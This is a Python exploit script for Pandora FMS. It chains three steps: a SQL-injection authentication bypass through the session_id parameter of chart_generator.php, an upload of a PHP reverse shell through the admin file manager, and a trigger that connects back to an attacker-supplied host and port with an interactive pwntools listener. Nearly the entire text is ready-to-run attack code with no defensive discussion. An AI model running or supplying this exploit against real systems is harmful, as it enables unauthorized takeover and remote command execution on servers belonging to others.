README.md
Rendering markdown...
import argparse
import requests
from pwn import *
class PandoraFmsClient:
def __init__(self, url):
self.__url = url
self.__session = requests.Session()
def bypass_authentication(self):
print("[\033[1;32m+\033[0m] Bypassing authentication...", end='')
sqli = "1' union SELECT 1,2,'id_usuario|s:5:\"admin\";' -- -"
self.__session.get(f"{self.__url}/pandora_console/include/chart_generator.php?session_id=a{sqli}")
if 'var id_user = "admin";' in self.__session.get(f"{self.__url}/pandora_console/").text:
print("OK")
else:
print("ERROR")
exit(1)
def upload_reverse_shell(self):
print("[\033[1;32m+\033[0m] Uploading reverse shell...", end='')
reverse_shell_file = "reverse_shell.php"
with open(reverse_shell_file, "r") as f:
data = {
"umask": "",
"decompress_sent": "1",
"go": "Go",
"real_directory": "/var/www/pandora/pandora_console/images",
"directory": "images",
"hash": "6427eed956c3b836eb0644629a183a9b",
"hash2": "594175347dddf7a54cc03f6c6d0f04b4",
"upload_file_or_zip": "1"
}
files = {
"file": (reverse_shell_file, f)
}
response = self.__session.post(f"{self.__url}/pandora_console/index.php?sec=gsetup&sec2=godmode/setup/file_manager", data=data, files=files)
if reverse_shell_file in response.text:
print("OK")
else:
print("ERROR")
exit(1)
def execute_reverse_shell(self, lhost, lport):
trigger_thread = threading.Thread(
target=self.__execute_reverse_shell,
kwargs={"lhost": lhost, "lport": lport}
)
trigger_thread.start()
def __execute_reverse_shell(self, lhost, lport):
print("[\033[1;32m+\033[0m] Executing reverse shell...")
self.__session.get(f"{self.__url}/pandora_console/images/reverse_shell.php?lhost={lhost}&lport={lport}")
def parse_args():
parser = argparse.ArgumentParser(
prog=f"python3 {sys.argv[0]}",
epilog=f"Example:\npython3 {sys.argv[0]} --target http://target.com --lhost 10.10.14.157 --lport 4444",
add_help=False
)
parser.add_argument("--target", help="Full URL of the vulnerable Pandora FMS instance.")
parser.add_argument("--lhost",help="IP address where the reverse shell will connect back to (must be reachable by the target). The listener will bind to 0.0.0.0 internally.")
parser.add_argument("--lport", help="Port number the reverse shell listener will bind to.")
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
return parser.parse_args()
def main():
args = parse_args()
pandora_fms_client = PandoraFmsClient(args.target)
pandora_fms_client.bypass_authentication()
pandora_fms_client.upload_reverse_shell()
listener = listen(int(args.lport))
sleep(1)
pandora_fms_client.execute_reverse_shell(args.lhost, args.lport)
connection = listener.wait_for_connection()
connection.interactive("")
if __name__ == "__main__":
main()